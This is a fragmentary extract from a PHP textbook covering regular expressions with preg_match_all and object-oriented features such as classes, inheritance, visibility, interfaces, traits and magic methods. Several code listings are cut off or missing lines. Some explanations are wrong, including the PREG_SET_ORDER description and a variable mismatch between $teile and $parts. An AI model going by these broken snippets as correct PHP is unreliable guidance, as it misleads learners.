$text = "Hello all!";
$reg = "/ll/";
preg_match_all($reg, $text, $parts, PREG_OFFSET_CAPTURE);
print_r($parts);
?>
However, preg_match_all(RegEx, String, Variable, Mode) has other values for the mode:
PREG_PATTERN_ORDER and PREG_SET_ORDER. You can combine both with PREG_OFFSET_CAP-
TURE by writing the modes one after the other, separated by |. The default is PREG_PAT-
TERN_ORDER if the specification is missing. The patterns found are saved as an array in
the first array element of the variable (index 0). In the second and subsequent ele-
ments, the locations for parts of the pattern divided by brackets are specified.
Here is a small example to illustrate this:
$text = "Otto";
$reg = "/(Ot|ot)|(to|tO)/";
preg_match_all($reg, $text, $parts, PREG_PATTERN_ORDER);
This returns Ot and to as the result of all pattern checks. The individual areas each pro-
vide one result (see Figure 10.4).
PREG_SET_ORDER, on the other hand, orders the results so that the first array element cor-
responds to the results of the first bracket, the second to those of the second, and so on
(see Figure 10.5).
<?php
$text = "Otto";
$reg = "/(Ot|ot)|(to|tO)/";
preg_match_all($reg, $text, $teile,PREG_SET_ORDER);
print_r($parts);
?>
Function Description
Note
The example here is not perfect; the expression would fail if there were several first
names, for example.
/a/i
In addition to the letter for the modifier, there is also an internal designation. For i, for
example, this designation is PCRE_CASELESS.
Here are two more examples:
쐍 x (PCRE_EXTENDED) ignores empty spaces in search patterns.
쐍 U (PCRE_UNGREEDY) switches a regular expression to be “not greedy.” This means that
quantifiers such as \d, even without maximum quantity specifications, do not
return all the characters following them, but only the first one.
Note
An overview of all modifiers can be found in the PHP documentation at http://s-prs.co/
v602215.
Note
You will find further examples of regular expressions in this book—for example, in the
completeness check in Chapter 13. A check of email addresses is carried out there. This
difficult topic is also discussed at http://s-prs.co/v602216.
$reg = "/^\d{5}$/";
Additionally a zip code can have a second part with four digits. As separator should be
a space or a hyphen possible, after this there are four digits:
$reg = "/^(\d{5})(?:[-\s](\d{4}))?$/";
The brackets help to access the individual parts of the zip code separately. The follow-
ing simple example uses Perl RegEx, and Figure 10.7 shows the result.
<?php
$zip = "50000-4000";
$reg = "/^(\d{5})(?:[-\s](\d{4}))?$/";
if (preg_match($reg, $zip, $parts)) {;
$reg = "/^(\d|\s|\+|\-|\.|\,|\/|\(|\))*$/";
However, as with most checks with regular expressions, any combination is conceiv-
able.
Note
In Chapter 35, you will find an example for filtering links that works without regular
expressions, but it doesn’t do its job too well.
We’ll now show you a script with a regular expression. The regular expression filters
out the links. As round brackets are placed around the link target and the name, you
can also access them individually, as shown in Figure 10.8.
<?php
$html = '<html><body><a id="test" href="rheinwerk-publishing.com" target=
"top">Rheinwerk Publishing</a><br /><a href="../newdoc.html">NewDoc</a></
body></html>';
$reg = "/<\s*a[^h]*[^r]*[^e]*[^f]*href=\"([^\"]+)\"[^>]*>([^<]*)<\/a>/";
if (preg_match_all($reg, $html, $parts)) {
print_r($parts);
}
?>
Figure 10.8 The Array Contains All Results and then the Individual Results Separately
Tip
If you also want to filter links with capital letters, simply add an i at the end after the
separator:
$reg = "/<\s*a[^h]*[^r]*[^e]*[^f]*href=\"([^\"]+)\"[^>]*>([^<]*)<\/a>/i";
The most important advantages of object orientation (the heart of object-oriented pro-
gramming [OOP]) are the following:
쐍 Modularization—that is, division into smaller code modules
쐍 Flexibility —that is, easy access to the split modules
At the latest, after chapters 4 to 6, you will be familiar with procedural programming.
Loops and case distinctions determine the sequence; functions store functionality and
can be called. OOP breaks up this linear, sometimes rigid concept and distributes the
functionalities into logical units: classes and objects. You can learn the basics of this in
Section 11.2. Before that, however, we’ll offer a brief overview of the history of object ori-
entation in PHP.
New features include anonymous classes (Section 11.3.8). In more recent versions of
PHP 7, detailed improvements have been and continue to be added (see also Chapter 1):
쐍 In PHP 7.1, the iterable pseudotype was added for a method parameter, which indi-
cates that the passed object is iterable—that is, that it has implemented the Travers-
able interface.
쐍 The instanceof operator allows literals as the first operand with the result false.
쐍 Since PHP 7.1, it is also possible to define the visibility of constants with public, pro-
tected, and private.
쐍 Since PHP 7.2, there is a new object type for function parameters.
쐍 Since PHP 7.2, the handling of numeric indices when converting arrays into objects
has changed.
쐍 With the new fromCallable() static method of the Closure class, methods can be con-
verted into Closure objects since PHP 7.1.
쐍 Since PHP 7.2, abstract methods can be overridden in inheriting abstract classes.
쐍 Since PHP 7.2, parameter types can be omitted from overridden methods.
쐍 Since PHP 7.2, there is a syntax for namespace groups followed by a comma.
PHP 8 is primarily characterized by clearer code and moderate stringency. The latter
aims, for example, to avoid simple bugs caused by type errors and to write better code
in general. Here is an overview of the most important new features:
쐍 Object-oriented methods adopt the new functionalities of PHP 8, which also apply to
functions (see Chapter 6).
쐍 Named parameters allow access to method parameters, regardless of the order.
쐍 Union types extend typing with the possibility of defining several types for method
parameters or their return.
쐍 PHP 8 allows commas at the end of parameter lists as a small syntactic addition.
쐍 The newly introduced property promotion for the constructor saves a lot of unnec-
essary typing when creating properties in the constructor.
쐍 With so-called attributes, PHP 8 introduces native metadata that you can also access
at runtime via the Reflection API.
쐍 static is now also permitted as a type for the return of methods.
쐍 In PHP 8, the inheritance of private methods with the same name is no longer
"unnecessarily" checked.
쐍 WeakMap is a new standard class for the "weak" references introduced in PHP 7.4. The
idea behind it is to make object references accessible, but not retained when an
object is deleted. Basically, it is a kind of object cache (more on this at https://
wiki.php.net/rfc/weak_maps).
Computer
Class CPU
RAM
start()
reboot()
Instance of Instance of
MyLaptop MyDesktop
CPU = "1 GHZ Mobile" CPU = "15 GHZ AMD
Object RAM = "1 GB" RAM = "1 TB
start() start()
reboot() reboot()
class Computer {
public $CPU = "The CPU";
public function start() {
echo "Computer started";
}
}
The class keyword, which indicates a class, is decisive.1 The property is defined with the
public keyword and is assigned a value. public in this context means that the property
can be accessed from outside the class.2 You can adjust this value for each object. The
method is defined in exactly the same way as a function.
You must now create (or instantiate) an object of this class to be able to work with it.
This involves the new keyword:
The new object is assigned to a variable. The syntax looks like this:
1 There are also namespaces for classes. These are used to organize different classes within a name-
space. The aim of this is to provide a better overview. You can find out more about this in Section
11.5.
2 More on this follows in Section 11.3.4.
To access a method or property, PHP uses the following syntax for a method:
$Object->Method();
$Object->Property;
Then call the start() method of the Computer class like this:
$MyComputer->start();
Note
PHP uses a somewhat unusual syntax with a minus sign plus a greater-than sign—that
is, an arrow (->). C-based languages, on the other hand, generally use the dot syntax
for a method:
Object.method()
and for a property:
Object.property
However, the conversion is not too complicated. In this respect, you should also be able
to cope well with the PHP syntax as a newcomer.
11.2.2 Properties
Properties can be read and changed. The following script reads a property and then out-
puts it.
<?php
class Computer {
public $CPU = "The CPU";
public function start() {
echo "Computer started";
}
}
$MyComputer = new Computer();
echo $MyComputer->CPU;
?>
The result is therefore the screen output of the text, The CPU.
Note
The public keyword defines a property as public. To work in an absolutely clean,
object-oriented manner, you should not read a property directly but define it as pri-
vate (Section 11.3.4) and then read it using a method. There also is still the old var key-
word from PHP 4, which is functionally equivalent to public, but it should no longer be
used.
To change the property, simply assign it a new value using the assignment operator (=
). The following script changes the CPU property for the computer and outputs its value
before and after the change, as you can see in Figure 11.3.
<?php
class Computer {
public $CPU = "The CPU";
public function start() {
echo "Computer started";
}
}
$MyComputer = new Computer();
echo $MyComputer->CPU . "<br />";
$MyComputer->CPU = "3 GHZ";
echo $MyComputer->CPU;
?>
Note
The value of the property only changes for the respective object. Other objects still
have the value for the property that was specified in the class:
$MyComputer = new Computer();
$MyComputer->CPU = "3 GHZ";
$MyLaptop = new Computer();
echo $MyLaptop->CPU;
The preceding lines would output The CPU, as only the value for the MyComputer object
has been changed, not that for the MyLaptop object.
11.2.3 Methods
A method contains any amount of functionality. As already shown, access is very simi-
lar to properties. However, you can do a lot more with methods.
<?php
class Computer {
public function shutdown($seconds) {
echo "Computer will shut down in $seconds seconds";
}
}
$MyComputer = new Computer();
$MyComputer->shutdown(12);
?>
Just as with functions, you can also assign default values for parameters. Consider the
following simple example.
<?php
class Computer {
function shutdown($seconds = 20) {
echo "Computer will shut down in $seconds seconds";
}
}
$MyComputer = new Computer();
$MyComputer->shutdown();
?>
The function now outputs that the computer will shut down in 20 seconds. Parameters
are passed as a value by default. Objects are the only exception: They are passed as a ref-
erence. To pass other parameters as a reference, use an ampersand (&) before the
parameter name.
<?php
class Computer {
public function shutdown(&$seconds) {
echo "Computer will shut down in $seconds seconds";
}
}
$duration = 12;
$MyComputer = new Computer();
$MyComputer->shutdown($duration);
?>
Return
The series of similarities with functions does not stop there. A method can deliver a
return value with return just like a function. Figure 11.5 shows the result of the follow-
ing example.
<?php
class Computer {
public function start($medium) {
return "The computer starts from $medium";
}
}
Figure 11.5 The Output Only Takes Place after a Value Has Been Returned
Tip
Of course, other details mentioned for functions also apply here. For example, if you
need several return values, you can implement this using an array.
$this->Property
or
$this->method()
you can access other properties and methods of a class. In the following simple practi-
cal example, the method returns a string that contains, among other things, the value
of the CPU property (see Figure 11.6).
<?php
class Computer {
public $CPU = "The CPU";
public function getCPU() {
return "The computer is equipped with a $this->CPU CPU.";
}
}
$MyComputer = new Computer();
$MyComputer->CPU = "4 GHZ";
echo $MyComputer->getCPU();
?>
Figure 11.6 The Property Is Included in the Output of the Method Using "$this"
Tip
Reading a property with a method that starts with get is a common procedure in
object-oriented programming. The counterpart is usually a method that starts with set
and sets the value of a property.
Overloaded
Classic overloading of functions is not supported by PHP. This means that you cannot
create multiple methods that each have different parameters. However, overloading
can be simulated. For the number of parameters, you can implement overloading with
default values or the functions for reading a flexible number of parameters.3
However, you can filter out different data types with the functions for type recognition
and with the help of a case distinction. The following small example checks whether
the seconds are specified as a number. If so, the script appends a string with the unit.
class Computer {
public function shutdown($seconds) {
if (is_integer($seconds)) {
$seconds = $seconds ." seconds";
}
echo "Computer is shutting down in $seconds";
}
}
3 See Chapter 6, and in particular in Section 6.1.1, especially the "Default Values" and "Flexible Number
of Parameters" subsections.
Tip
You can of course simulate overloading, as shown here. This is sometimes quite practi-
cal. However, the necessary abundance of case distinctions is not necessarily elegant.
You should therefore use this tool sparingly.
11.2.4 Inheritance
So far, you have only seen an isolated class. In practice, however, a class hierarchy
quickly emerges. This means that a class takes on the properties and methods of
another, higher-level class. This process is called inheritance.
Consider a simple example: The Computer class applies to all computers. However, spe-
cial computers such as laptops or desktops can have their own properties and methods.
For example, laptops still have integrated displays. Desktops, on the other hand, can be
(more easily) disassembled.
This class hierarchy can also be expressed in PHP programming. The extends keyword
is used for this purpose.4 This is what its use looks like in theory:
4 PHP only supports simple inheritance. This means that no class can inherit from more than one
class.
The new class extends an existing class. This means that it adopts all the properties and
methods of this class and then defines its own.
Consider the following small example.
<?php
class Computer {
public $CPU = "The CPU";
public function start() {
return "Computer is started.";
}
}
class Laptop extends Computer {
public $Display = "15 inch";
}
$MyLaptop = new Laptop();
$MyLaptop->CPU = "2.5 GHZ Mobile";
echo "CPU: $MyLaptop->CPU<br/>";
echo "Display: $MyLaptop->Display";
?>
In the example, the Laptop class extends the Computer class. Laptop is given an additional
property. The output (see Figure 11.8) then accesses this property, but also the superor-
dinate CPU property of the Computer class.
Figure 11.8 The Script Outputs Properties of Its Own and the Parent Class
Overwrite
With inheritance, you can overwrite the properties and methods of the parent class in
the subordinate (inheriting) class. To do this, simply create a property or method with
the same name as its counterpart in the parent class. In the following example, both the
CPU property and the start() method are overwritten; Figure 11.9 shows the result.
<?php
class Computer {
public $CPU = "The CPU";
public function start() {
return "Computer is started.";
}
}
class Laptop extends Computer {
public $CPU = "2,5 GHZ Mobile";
public function start() {
return "Laptop is started.";
}
}
$MyLaptop = new Laptop();
echo "CPU: $MyLaptop->CPU<br />";
echo $MyLaptop->start();
?>
<?php
class Computer {
public $CPU = "The CPU";
public function start() {
return "Computer is started.";
}
}
class Laptop extends Computer {
public function start() {
return "Laptop: " . parent::start();
}
}
$MyLaptop = new Laptop();
echo $MyLaptop->start();
?>
Figure 11.10 The Output Is Also Based on the Method of the Parent Class
Note
A reference to properties of the class with the $this keyword does not work in this
case, as $this always references the current object. With a direct link to the method of
a class, however, there is no object.
11.3 Advanced
You now know the basics of object orientation. Now it's time to get down to the finer
details. This includes certain methods, but also interfaces and abstract classes.
Note
You can find a test example in the materials for the book (see preface). It is called
objects_values.php.
But how can we pass an object as a value to a function? To do this, you need to clone the
object. The clone keyword is used for this. In this case, a copy of the original instance is
created and passed to the function. You can see the result in Figure 11.11.
<?php
class Computer {
public $CPU = "The CPU";
public function start() {
echo "Computer is started.";
}
}
function change($Object) {
$Object->CPU = "4 GHZ";
echo "In the function: $Object->CPU<br />";
}
$MyComputer = new Computer();
change(clone $MyComputer);
echo "Outside the function: $MyComputer->CPU";
?>
However, cloning is not only used to pass an object as a value; it can also be used to
duplicate an object instance as often as required.
Figure 11.11 Inside the Function, the Value of the Cloned Object Applies; Outside, the Value of
the Original
11.3.2 Constructor
The constructor is a method that is executed when an object of a class is created. The
__construct() method is used for this. It can accept any parameters with which the
object is instantiated.
In the following example, the object transfers the string 4 GHZ. This is then assigned to
the CPU property. The constructor method then outputs a text. Finally, the value of CPU
is output.
<?php
class Computer {
public $CPU = "The CPU";
public function __construct($value) {
$this->CPU = $value;
echo "Object instantiated<br />";
}
}
$MyComputer = new Computer("4 GHZ");
echo $MyComputer->CPU;
?>
Object instantiated
4 GHZ
Property Promotion
In PHP 8, there is a short form for the constructor with the definition of a property: the
so-called property promotion. The principle is simple: you can define properties
directly in the constructor, even as publicly available properties.
With this notation, the listing from the last section is reduced by two lines. These three:
Become one:
It is important to note that the $CPU property is accessed in exactly the same way as a
property defined outside the constructor:
echo $MyComputer->CPU;
<?php
class Computer {
public function __construct(public $CPU = "The CPU") {
This isn’t particularly special for one property, but if you have to define many initial
properties for a class, you will gain a lot of clarity.
11.3.3 Destructor
The __destruct() destructor method is always used when an object is resolved. It also
reacts, for example, when the object is resolved with unset(object) (see Figure 11.12).
<?php
class Computer {
public $CPU = "The CPU";
public function __destruct() { echo "Destructor active"; }
}
$MyComputer = new Computer();
unset($MyComputer);
echo "$MyComputer->CPU<br />";
?>
Figure 11.12 The Destructor Outputs Its Message; "CPU" Is Already Resolved
<?php
class Computer {
private $CPU = "The CPU";
function getCPU() {
return $this->CPU;
}
}
$MyComputer = new Computer();
echo $MyComputer->CPU;
echo $MyComputer->getCPU();
?>
In this case, the script results in the error message shown in Figure 11.13 as access to a
private property fails. The getCPU() method shows how a private property must actu-
ally be accessed. If you comment out the line with the direct access, the script works, as
shown in Figure 11.14:
//echo $MyComputer->CPU;
private can also be used for methods. You must then use the method in another
method. Consider the following simple example; you can see the output in Figure 11.15.
<?php
class Computer {
private function format() {
return "Hard disk formatted";
}
function start() {
return "Computer started, " .$this->format();
}
}
$MyComputer = new Computer();
echo $MyComputer->start();
?>
Figure 11.15 The Output of the Private Method Is Read Out with a Public Method
Note
By default, every property or method is public. However, you should also specifically
mark a property or method as public with the public keyword:
class Computer {
public $CPU = "The CPU";
}
In object-oriented programming, you should always mark properties as private and
only make them accessible via methods marked as public. This encapsulation of prop-
erties is part of good programming style and helps you to maintain order in your scripts.
It also helps when working with object models6 and design patterns.7 The naming con-
vention often used for the method for reading a property is getPropertyName(), and for
setting it is setPropertyName(Value). This is not mandatory, but merely a convention.
"static"
Properties and methods marked with static are static because they are accessed out-
side the class using the class name. You do not need an object. The following listing and
its output in Figure 11.16 show a simple example.
<?php
class Computer {
static $CPU = "The CPU";
static function start() {
return "Computer is started";
}
}
echo Computer::$CPU ."<br />";
echo Computer::start();
?>
6 Object models model an application, the associated classes, and hierarchies. One language for such
models is UML.
7 Design patterns are approaches to solving common problems in object-oriented programming.
They can be used in PHP, but also in any other object-oriented programming language. You can find
out more about this topic in Chapter 12.
Note
In a method marked with static, the use of $this is not possible as there is no refer-
ence to an object. However, self can be used as part of the late static binding. For more
information on late static binding, see Section 11.3.6.
"protected"
If you use private, then a property or method only applies to the one class in which it is
defined. protected has the same external protective effect as private, but such a prop-
erty or method also applies to all classes in the class hierarchy.
<?php
class Computer {
protected $CPU = "3 GHZ Mobile";
}
class Laptop extends Computer {
public function getCPU() {
return "The following CPU is on board: " .$this->CPU;
}
}
$MyLaptop = new Laptop();
echo $MyLaptop->getCPU();
?>
Figure 11.17 The CPU from the Higher-Level Class Is Read Out
In the preceding example, the property protected with protected is defined in the par-
ent class. Would the whole thing also work the other way round? Let’s check:
class Computer {
public function getCPU() {
return "The following CPU is on board: " . $this->CPU;
}
}
The answer: Yes, it would. protected releases a property or method for the entire class
hierarchy—that is, for the parent and all inheriting classes.
Note
protected for methods is similar to its use for properties. You simply write the keyword
before the method:
protected function innerCalculation() {
Instructions;
}
"final"
A method marked with final cannot be overwritten in a subclass. The following code
example therefore leads to an error, as shown in Figure 11.18.
<?php
class Computer {
final function start() {
return "Computer is started";
}
}
class Laptop extends Computer {
public function start() {
return "Laptop is started";
}
}
$MyLaptop = new Laptop();
echo $MyLaptop->start();
?>
Note
In PHP 8, this was cleaned up a bit: If the inheriting class had a private method with
the same name as the method of the inheriting class marked as final, then a fatal
error was still thrown. In the background, PHP performed its inheritance checks
unnecessarily, even though the method in the inheriting class was private. In PHP 8,
this behavior has been removed for performance and cleanliness reasons.8
You can also use final to identify entire classes. In such a case, you can no longer
inherit from these classes (see Figure 11.19).
Note
There are no final properties. The following construct therefore results in the error mes-
sage shown in Figure 11.20, which states that final can only be defined for methods:
class Computer {
final $CPU = "The CPU";
}
"readonly"
Since PHP 8.1, there is a new readonly attribute. This allows properties to be defined as
read-only and not writable:
In this case, there is only one way to give the property a value, which is in the construc-
tor, because without a value the property would be meaningless:
<?php
class Computer {
private readonly string $sek;
Note
Since PHP 8.2, the readonly attribute has also been available for classes. This means
that all properties of a class are read-only and can only be set via the constructor.
11.3.5 Interfaces
An interface represents a template for a class. It declares methods without implemen-
tation:
interface Bootmanager {
function start();
}
These methods can now be implemented in classes. The implements keyword is used for
this purpose. The method is then filled with life or functionality within the class.
Note
You cannot define properties in interfaces!
However, the interface defines not only the method name, but also any parameters
that the method receives. If there are differences between the class and the interface,
you will receive an error.
interface Bootmanager {
function start($sek);
}
class Computer implements Bootmanager {
function start($sek) {
return "Computer starts in $sek";
}
}
Note
Because PHP is only loosely typed—that is, the data types do not have to be defined—
the methods defined in the interface do not need to have the same data type for the
return value in the classes. In strictly typed languages, however, this is usually required.
One of the advantages of interfaces is that several interfaces can be implemented for
one class. The following example uses a Bootmanager interface for the Computer class and
the Auto class (with all the electronics!). The Formatter interface, on the other hand,
defines a method that is only implemented in the Computer class. Figure 11.21 shows the
output.
<?php
interface Bootmanager {
function start();
}
interface Formatter {
function format($drive);
}
class Computer implements Bootmanager, Formatter {
public function start() {
return "Computer is started";
}
public function format($drive): string {
return "Drive $drive is formatted";
}
}
class Car implements Bootmanager {
public function start() {
return "Car is started";
}
}
$MyComputer = new Computer();
echo$MyComputer->start() ."<br />";
echo $MyComputer->format("C") ."<br />";
$MyCar = new Car();
echo $MyCar->start();
?>
<?php
class Computer {
public static function class() {
return __CLASS__;
}
public static function start() {
return self::class() ." is started.";
}
}
class Laptop extends Computer {
public static function class() {
return __CLASS__;
}
}
echo Laptop::start();
?>
Computer is started.
Late static binding defines a new keyword: static. Now, the keyword itself is not actu-
ally new; it is only used here to clarify the static binding. In the inheritance situation, it
does not refer to the current class but contains the runtime information about which
class is being called—in this case, the Laptop class. The runtime information is also why
the process is called late static binding.
Consider the following slightly adapted example.
<?php
class Computer {
public static function class() {
return __CLASS__;
}
public static function start() {
return static::class() ." is started.";
}
}
class Laptop extends Computer {
public static function class() {
return __CLASS__;
}
}
echo Laptop::start();
?>
Laptop is started.
To ensure that the static method actually returns a static class, the static() function is
used here.
Note
static can also be combined as a union type (see Chapter 6) with other types or null—
for example, ?static or static|array.
<?php
class Computer {
public static function class() : static {
return new static();
}
public static function start() : string {
return get_class(static::class()) ." is started.";
}
}
class Laptop extends Computer {
public static function class() : static {
return new static();
}
}
echo Laptop::start();
?>
The output returns the name of the called class with the appended string:
Laptop is started.
<?php
abstract class Computer {
abstract function start();
}
class Laptop extends Computer {
public function start() {
return "Laptop is started";
}
}
$MyLaptop = new Laptop();
echo $MyLaptop->start();
?>
Laptop is started
Listing 11.30 Abstract Class with One Parameter (Excerpt from "abstract_parameter.php")
9 This is also referred to as the two methods having the same signature. The signature includes the
function name and parameters and is something like the fingerprint of a method.
The anonymous class is simply defined with new class without a class name. Properties
and methods can then be defined within the class, and the class itself can be easily
accessed using the variable or parameter.
<?php
$class = new class {
public function shutdown($seconds) {
echo "Computer will shut down in $seconds seconds";
}
};
$class->shutdown(10);
?>
However, the anonymous class can do even more. It can accept parameters via a con-
structor, can inherit from other classes, can implement interfaces, and can use traits.
The following example shows inheritance and a parameter for the constructor.
<?php
class Computer {
protected $display;
}
$class = new class('15 inch') extends Computer {
public function __construct($display) {
$this->display = $display;
}
public function getDisplay() {
return 'The display has ' . $this->display;
}
};
echo $class->getDisplay();
?>
The anonymous class inherits from the Computer class and uses the $display property
declared as protected. The constructor writes the 15 inches parameter value passed to
the anonymous class to this property. The return is then handled by the getDisplay()
method (see Figure 11.23). It is called from the $class variable, which stores the object of
the anonymous class.
Figure 11.23 The Anonymous Class Returns the Value of the Originally Passed Parameter by
Method
11.3.9 Constants
Constants should be familiar from Chapter 4. In PHP, there are also constants within
classes. You define these constants with the const keyword and then access them with
the double colon (::). This works inside and outside the class.
<?php
class Computer {
const sec = "15 seconds";
public function start() {
return "Computer starts in " . Computer::sec;
}
}
$MyComputer = new Computer();
echo $MyComputer->start() ."<br />";
echo "And again in " . Computer::sec;
?>
Figure 11.24 Access to the Constant Inside and Outside the Class
<?php
class Computer {
public const string sec = "15 seconds";
public function start() {
return "Computer starts in " . Computer::sec;
}
}
$MyComputer = new Computer();
echo $MyComputer->start() ."<br />";
echo "And again in " . Computer::sec;
?>
Note
Since PHP 8.1, it is also possible to provide constants with final.
11.3.10 Overloaded
Overloading a method means that the method receives more parameters than speci-
fied or parameters with different data types. This means that values are passed that the
method cannot know. Overloading is an extremely practical programming technique
as one method can deal with different situations that would normally require several
methods.
We will briefly summarize the techniques for overloading here. These are the known
options for functions:
쐍 Default values for parameters
쐍 The use of the ... operator (see Figure 11.25)
<?php
class Computer {
public function drives(...$drives) {
echo "Drives:<br />";
foreach ($drives as $drive) {
echo $drive ."<br />";
}
}
}
$MyComputer = new Computer();
$MyComputer->drives("C", "D");
$MyComputer->drives("C", "D", "E");
?>
Listing 11.35 Overloading with Operator ("overload_functions.php")
<?php
class Computer {
public function drives() {
$drives = func_get_args();
echo "Drives:<br />";
foreach ($drives as $drive) {
echo $drive ."<br />";
}
}
}
$MyComputer = new Computer();
$MyComputer->drives("C", "D");
$MyComputer->drives("C", "D", "E");
?>
Note
PHP does not support overloading with multiple methods of the same name, which many
people know how to do in other object-oriented languages. The following script would
work (similarly) in Java or C#, but in PHP it returns an error, as shown in Figure 11.26:
class Computer {
public function drives($a, $b) {
return "The computer has the drives: $a and $b<br />";
}
public function drives($a, $b, $c) {
return "The computer has the drives: $a, $b and $c<br />";
}
}
Figure 11.26 Overloading with Methods of the Same Name Does Not Work in PHP!
In addition to these options, there are also some predefined methods in PHP that sim-
plify overloading. You can read more about this in the next sections.
"__call()"
The __call(name, parameter) method intercepts all methods that are not defined
within a class (see Figure 11.27). It receives two parameters: the name of the called
method and its parameters as an array.
<?php
class Computer {
public function __call($name, $parameter) {
echo "Drives:<br />";
foreach ($parameter as $element) {
echo $element ."<br />";
}
}
}
$MyComputer = new Computer();
$MyComputer->drives("A", "B");
$MyComputer->drives("C", "D", "E");
?>
One disadvantage of __call() is that it intercepts all undefined methods (see Figure
11.28). Here is an example:
<?php
class Computer {
public function __call($name, $parameter) {
echo "Elements of function $name:<br />";
foreach ($parameter as $element) {
echo $element ."<br />";
}
}
}
$MyComputer = new Computer();
$MyComputer->fans("CPU", "Main");
$MyComputer->drives("C", "D", "E");
?>
This is always impractical if you only want to intercept one method. In such a case, you
have to work with a somewhat inelegant case differentiation and check the name of the
method, as in the following example. Figure 11.29 shows the result.
<?php
class Computer {
public function __call($name, $parameter) {
if ($name == "drives") {
echo "Drives:<br />";
foreach ($parameter as $element) {
echo $element ."<br />";
}
}
}
}
$MyComputer = new Computer();
$MyComputer->fans("CPU", "Main");
$MyComputer->drives("C", "D", "E");
?>
Listing 11.39 Check the Method Names Using Case Differentiation ("call_case.php")
"__get()"
__get(name) is the counterpart to __call(), but for properties. The method receives the
name of the property as a parameter for all properties that are read out but are not pro-
vided in the class or are not accessible due to visibility (see Figure 11.30).
<?php
class Computer {
//public $CPU = "The CPU";
public function __get($property) {
echo("$property is not set");
}
}
$MyComputer = new Computer();
echo $MyComputer->CPU;
?>
Tip
In practice, you mainly need this method to intercept property calls that do not result
in an error message.
"__set()"
__set(name, value) receives the name of the undefined property and the value to which
the property is to be set as parameters. You could of course indicate that the value can-
not be specified because the property is not provided—but it could also be used to sim-
ply set the property and give it the value. In this case the class itself needs an attribute
#[\AllowDynamicProperties]. Otherwise the dynamic creation of the property is depre-
cated. The reason behind this is, that dynamic creation of properties results in a more
difficulty to understand code if it is not well documented.
<?php
#[\AllowDynamicProperties] class Computer {
public function __get($property) {
echo("$property is not set");
}
public function __set($property, $value) {
$this->$property = $value; }
}
$MyComputer = new Computer();
$MyComputer->CPU = "4 GHZ";
echo $MyComputer->CPU;
?>
11.3.11 Traits
The purpose of traits is to provide methods that can be reused without directly defin-
ing their own class or class hierarchies. A trait is defined in a similar way to a class, using
the trait keyword. The functions and (somewhat more rarely in practice) properties
are defined in it:
trait Converter {
private function mb2gb($mb) {
$gb = $mb / 1024;
return $gb;
}
}
This trait can then be used in the class with the use keyword:
class Computer {
use Converter;
}
Note
You can also use several traits within a class. To do this, simply write them in a comma-
separated list after the use keyword.
Depending on its visibility, the method is then accessible inside or outside the class.
The following listing contains the complete code, and Figure 11.32 shows the output.
<?php
trait Converter {
private function mb2gb($mb) {
$gb = $mb / 1024;
return $gb;
}
}
class Computer {
use Converter;
Figure 11.32 The Method of the Trait Provides the Appropriate Conversion
Note
If you define several methods with the same name within a class structure, the over-
writing sequence is as follows: priority is always given to the method that is defined
directly in the respective class. This is followed by the trait that is used in the class. At
the end of this ranking is a method from an inheriting class.
The methods in traits can be used quite flexibly, and both their names and their visibil-
ity can be changed. The former is particularly necessary if there could be name conflicts
with several traits or methods in the class.
To change the name and visibility, there are two keywords that are placed in curly
brackets after the use statement; if there are two traits with the same methods, then
insteadof decides which trait should be used. as allows you to specify an alias, a differ-
ent name, for a method and to change the visibility—or to do only one of the two.
The following example shows two traits with identical mb2gb()methods. In the Computer
class, it is then specified that the method from the converter trait is used for the identi-
cal methods. In addition, the visibility is increased to protected so that the method can
be used in the inheriting class, Laptop. We make the method of the same name from
the Helpers trait publicly accessible and assign the convertRam() alias. Figure 11.33
shows the output.
<?php
trait Converter {
private function mb2gb($mb) {
$gb = $mb / 1024;
return $gb;
}
}
trait Helpers {
private function mb2gb($mb) {
$gb = $mb / 1024;
return $gb ." Gigabyte";
}
}
class Computer {
use Converter, Helpers
{
Converter::mb2gb insteadof Helpers;
Converter::mb2gb as protected;
Helpers::mb2gb as public convertRam;
}
public $RAM = "1024";
}
class Laptop extends Computer {
public $RAM = "4096";
public function ramcheck() {
$gb = $this->mb2gb($this->RAM);
return "Computer has " . $gb .' GB RAM';
}
}
$MyLaptop = new Laptop();
echo $MyLaptop->ramcheck() . '<br />';
echo $MyLaptop->convertRam('2048');
?>
<?php
error_reporting(E_ALL | E_STRICT);
class Computer {
public function shutdown($seconds) {
echo "Computer will shut down in $seconds seconds";
}
}
$duration = 12;
$MyComputer = new Computer();
In PHP 5.3, the call of call_user_method() is therefore known as E_DEPRECATED and is out-
put as a corresponding error (see Figure 11.34). Since PHP 7, this assignment no longer
exists. Accordingly, a "normal" error occurs here—a fatal error—because the corre-
sponding obsolete method is no longer known.
Figure 11.34 The "call_user_method()" Method with PHP 5.3 (Top) and PHP 7 (Bottom)
Tip
To obtain the highest error level regardless of the version, you can use error_reporting
(-1). The -1 parameter takes all error levels. Since PHP 5.4, E_ALL behaves in the same
way; that is, future error levels are also automatically taken into account.
Any errors that occur can be intercepted relatively easily with set_error_handler
(function name, error). The first parameter of this function specifies a function name for
the handler. The handler then receives the error type as a number, the error string, the
error file, and the line in which the error occurred. The second parameter is optional and
allows you to specify the error level to be intercepted—here, for example, E_WARNING. In
the following listing, you catch all E_WARNING errors and let the others through. Figure
11.35 shows one result.
<?php
function error_handler($errno, $errstr, $errfile, $errline) {
switch ($errno) {
case E_WARNING:
echo "WARNING: [$errno] $errstr<br />";
break;
default:
echo "No E_WARNING error";
break;
}
return true;
}
set_error_handler("error_handler", E_WARNING);
class Computer {
}
$MyComputer = new Computer();
$MyComputer->display;
?>
Note
Catching errors with set_error_handler() does not work for fatal errors, core errors,
and parsing errors.
11.4.2 "spl_autoload_register()"
The spl_autoload_register(function) registers a function, that reacts to all calls to
classes that are not directly available. You can then react accordingly.
<?php
function autoloader($class) {
echo "The class $class does not exist!";
}
spl_autoload_register('autoloader');
$MyComputer = new Computer();
?>
Be careful: the PHP interpreter also throws an error, which you can only suppress with
very restrictive (usually too restrictive) error management. In a relatively common
application for spl_autoload_register(), however, this behavior does not matter—
namely, when you use it to load external classes. This could look like the following
example (see also Figure 11.36).
<?php
function autoloader($class) {
include $class . ".php";
}
spl_autoload_register('autoloader');
$MyComputer = new Computer();
$MyComputer->start();
?>
Hint
An older alternative to spl_autoload_register() was __autoload(). It could not be
used multiple times like spl_autoload_register() and is less flexible. It was removed
with PHP 8.
11.4.3 "__METHOD__"
__METHOD__ is a constant that is predefined by PHP. It outputs the current method in
which it is called. The class is separated by two colons before the method name in the
output (see Figure 11.37). __METHOD__ is also called the magic constant as its value natu-
